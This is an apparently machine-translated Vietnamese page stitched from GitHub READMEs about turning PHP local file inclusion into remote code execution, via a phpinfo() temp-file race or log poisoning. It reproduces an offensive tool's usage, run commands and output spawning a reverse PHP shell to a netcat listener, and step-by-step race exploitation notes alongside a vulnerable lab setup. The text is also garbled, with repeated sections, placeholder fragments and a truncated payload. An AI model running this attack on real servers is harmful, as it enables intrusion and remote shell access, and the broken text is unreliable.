Hướng dẫn phpinfo exploit github - phpinfo khai thác github

LFI đến rCE thông qua hỗ trợ phpinfo () hoặc thông qua tệp nhật ký được kiểm soát

Để biết thêm chi tiết về khai thác thông qua phpinfo (). Nghiên cứu từ đây

Để biết thêm chi tiết về khai thác thông qua tệp nhật ký được kiểm soát. Một bài viết từ đây

Sử dụng trường hợp

Giới thiệu về LFI đến RCE thông qua Phpinfo ()

  • Tìm thấy lỗ hổng LFI
  • Bất kỳ tập lệnh nào hiển thị đầu ra của hàm phpinfo () sẽ làm. Trong hầu hết các trường hợp, đây sẽ là /phpinfo.php

Giới thiệu về LFI đến RCE thông qua tệp nhật ký được kiểm soát

  • Tìm thấy lỗ hổng LFI
  • Bất kỳ tập lệnh nào hiển thị đầu ra của hàm phpinfo () sẽ làm. Trong hầu hết các trường hợp, đây sẽ là /phpinfo.php

Giới thiệu về LFI đến RCE thông qua tệp nhật ký được kiểm soát

usage: lfito_rce.py [-h] [-a ACTION] -l LFI --lhost LHOST --lport LPORT
                         [--payload PTYPE] [-e REQEND] [-v VERBOSE]
                         [-t THREADS] [-i PHPINFO] [-f LOGFILE]

RCE from LFI with PHPINFO assistance or Via controlled log file

optional arguments:
  -h, --help            show this help message and exit
  -a ACTION, --action ACTION
                        Define the attack type - 1 for PHPINFO and - 2 for
                        controlled log. Value 1 by default
  -l LFI, --lfi LFI     the url path of the LFI vuln, per example
                        "http://127.0.0.1:8080/lfi.php?file="
  --lhost LHOST         The local ip to listen, for rev shell
  --lport LPORT         The local port to listen, for rev shell
  --payload PTYPE       Set the type of payload to use. 1|2|3 By default
                        payload is set to 3
  -e REQEND, --end REQEND
                        Define any end of lfi request, per examlpe "%00" by
                        default the end request is empty
  -v VERBOSE, --verbose VERBOSE
                        Define verbose output. set to False by default
  -t THREADS, --threads THREADS
                        [For phpinfo action]. Threads number, set to 10 by
                        default
  -i PHPINFO, --phpinfo PHPINFO
                        [For phpinfo action]. Define the url path of the
                        "phpinfo" script. Per ex: "http://host/phpinfo.php"
  -f LOGFILE, --logfile LOGFILE
                        [For controlled log action]. Define the path of the
                        http server log file. By default script will use
                        bruteforce

Tìm thấy đường dẫn tệp nhật ký máy chủ web hoặc thử các đường dẫn từ tập lệnh.

Giới thiệu về LFI đến RCE thông qua Phpinfo ()

$ python lfito_rce.py -l "http://host/browse.php?file=" --lhost 127.0.0.1 --lport 9001  -t 12  -i "http://host:8080/phpinfo.php"

 ____   ____   ____   ____ _     _       _              _ 
|  _ \ / __ \ / /\ \ / ___| |__ / |____ | |_ ___   ___ | |
| |_) / / _` | |  | | |  _| '_ \| |_  / | __/ _ \ / _ \| |
|  _ < | (_| | |  | | |_| | | | | |/ /  | || (_) | (_) | |
|_| \_\ \__,_| |  | |\____|_| |_|_/___|  \__\___/ \___/|_|
       \____/ \_\/_/                                      

Find all scripts in: https://github.com/roughiz


LFI With PHPInfo() RCE script
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Spawning worker pool (12)...
  24 /  1000
Got it! Reverse php Shell created in /tmp/IVA1XpPtHGjS.php

Yep! The payload works great !

I will execute the reverse shell, requesting the url: http://host/browse.php?file=/tmp/IVA1XpPtHGjS.php

Verify your nc listenner 127.0.0.1:9001
Shuttin' down...

Giới thiệu về LFI đến RCE thông qua tệp nhật ký được kiểm soát

$ python lfito_rce.py -a 2 -l "http://host/browse.php?file=" --lhost 127.0.0.1 --lport 9001

 ____   ____   ____   ____ _     _       _              _ 
|  _ \ / __ \ / /\ \ / ___| |__ / |____ | |_ ___   ___ | |
| |_) / / _` | |  | | |  _| '_ \| |_  / | __/ _ \ / _ \| |
|  _ < | (_| | |  | | |_| | | | | |/ /  | || (_) | (_) | |
|_| \_\ \__,_| |  | |\____|_| |_|_/___|  \__\___/ \___/|_|
       \____/ \_\/_/                                      

Find all scripts in: https://github.com/roughiz


LFI RCE via controlled log
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  16 /   26
Got it! Reverse php Shell created in /tmp/k0THSi7vdS58.php

I will execute the reverse shell, requesting the url: http://host/browse.php?file=/tmp/k0THSi7vdS58.php

Verify your nc listenner 127.0.0.1:9001

Tìm thấy đường dẫn tệp nhật ký máy chủ web hoặc thử các đường dẫn từ tập lệnh.

Cách sử dụng

POC

$ sudo pip install pyfiglet

Php Incent File bao gồm RCE với PHPINFO

中文 版本 (phiên bản tiếng Trung)

Trong các lỗ hổng bao gồm tệp PHP, khi chúng ta không thể tìm thấy một tệp hợp lệ để bao gồm kích hoạt RCE, chúng ta có thể bao gồm một tệp tạm thời để khai thác nó nếu có Phpinfo có thể cho chúng ta biết tên tệp được tạo ngẫu nhiên của tệp tạm thời và vị trí của nó .

Reference:

  • https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

Môi trường dễ bị tổn thương

Để bắt đầu môi trường dễ bị tổn thương:

Môi trường đích là Php 7.2 mới nhất, cho chúng ta biết lỗ hổng này tồn tại bất kể phiên bản.

Sau khi môi trường được bắt đầu, Access http://your-ip:8080/phpinfo.php để có được trang PHPINFO và http://your-ip:8080/lfi.php?file=/etc/passwd cho thấy có một lỗ hổng LFI.

Khai thác chi tiết

Khi gửi yêu cầu POST đến PHP và yêu cầu chứa một khối tệp, PHP sẽ lưu tệp được đăng vào một tệp tạm thời (thường là /tmp/php[6 random digits]), tên tệp có thể được tìm thấy tại biến ____77. Tệp tạm thời này sẽ bị xóa sau khi yêu cầu kết thúc.

Trong thời gian chờ đợi, trang PHPINFO in tất cả các biến trong ngữ cảnh, bao gồm $_FILES. Vì vậy, tên của tệp TEMP có thể được tìm thấy trong phản hồi nếu chúng tôi gửi yêu cầu POST đến trang PHPINFO.

Theo cách này, lỗ hổng LFI có thể được quảng bá thành RCE mà không có tệp cục bộ có thể sử dụng được.

Bao gồm tệp và PHPINFO thường nằm trong các trang web khác nhau. Về lý thuyết, chúng ta cần gửi tên tệp đến trang bao gồm tệp sau khi truy xuất nó trong phản hồi của yêu cầu tải lên tệp lên trang PHPINFO. Tuy nhiên, sau khi kết thúc yêu cầu đầu tiên, tập tin sẽ bị xóa khỏi đĩa, vì vậy chúng tôi cần chiến thắng cuộc đua.

Steps:

  1. Gửi yêu cầu tải lên tệp đến trang PHPINFO với tiêu đề và nhận các trường chứa đầy những đoạn dữ liệu rác lớn.
  2. Nội dung phản hồi sẽ rất lớn vì PHPINFO sẽ in ra tất cả các dữ liệu.
  3. Kích thước bộ đệm đầu ra mặc định của PHP là 4096 byte. Nó có thể được hiểu là PHP trả về 4096 byte mỗi lần trong quá trình kết nối ổ cắm.
  4. Vì vậy, chúng tôi sử dụng ổ cắm thô để đạt được mục tiêu của chúng tôi. Mỗi lần chúng tôi đọc 4096 byte và gửi tên tệp đến trang LFI sau khi chúng tôi nhận được nó.
  5. Vào thời điểm chúng tôi nhận được tên tệp, kết nối ổ cắm đầu tiên chưa kết thúc, điều đó có nghĩa là tệp temp vẫn tồn tại tại thời điểm đó.
  6. Bằng cách tận dụng khoảng cách thời gian, tệp tạm thời có thể được bao gồm và thực thi.

Khai thác

Tập lệnh Python exp.py thực hiện quá trình trên. Sau khi bao gồm thành công tệp temp, ')?> sẽ được thực thi để tạo tệp vĩnh viễn

$ python lfito_rce.py -l "http://host/browse.php?file=" --lhost 127.0.0.1 --lport 9001  -t 12  -i "http://host:8080/phpinfo.php"

 ____   ____   ____   ____ _     _       _              _ 
|  _ \ / __ \ / /\ \ / ___| |__ / |____ | |_ ___   ___ | |
| |_) / / _` | |  | | |  _| '_ \| |_  / | __/ _ \ / _ \| |
|  _ < | (_| | |  | | |_| | | | | |/ /  | || (_) | (_) | |
|_| \_\ \__,_| |  | |\____|_| |_|_/___|  \__\___/ \___/|_|
       \____/ \_\/_/                                      

Find all scripts in: https://github.com/roughiz


LFI With PHPInfo() RCE script
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Spawning worker pool (12)...
  24 /  1000
Got it! Reverse php Shell created in /tmp/IVA1XpPtHGjS.php

Yep! The payload works great !

I will execute the reverse shell, requesting the url: http://host/browse.php?file=/tmp/IVA1XpPtHGjS.php

Verify your nc listenner 127.0.0.1:9001
Shuttin' down...

0 để sử dụng tiếp.

Sử dụng Python2 : ________ 11:

Hướng dẫn phpinfo exploit github - phpinfo khai thác github

Kịch bản thành công tại gói thứ 189, sau khi mã tùy ý đó có thể được thực thi:

Hướng dẫn phpinfo exploit github - phpinfo khai thác github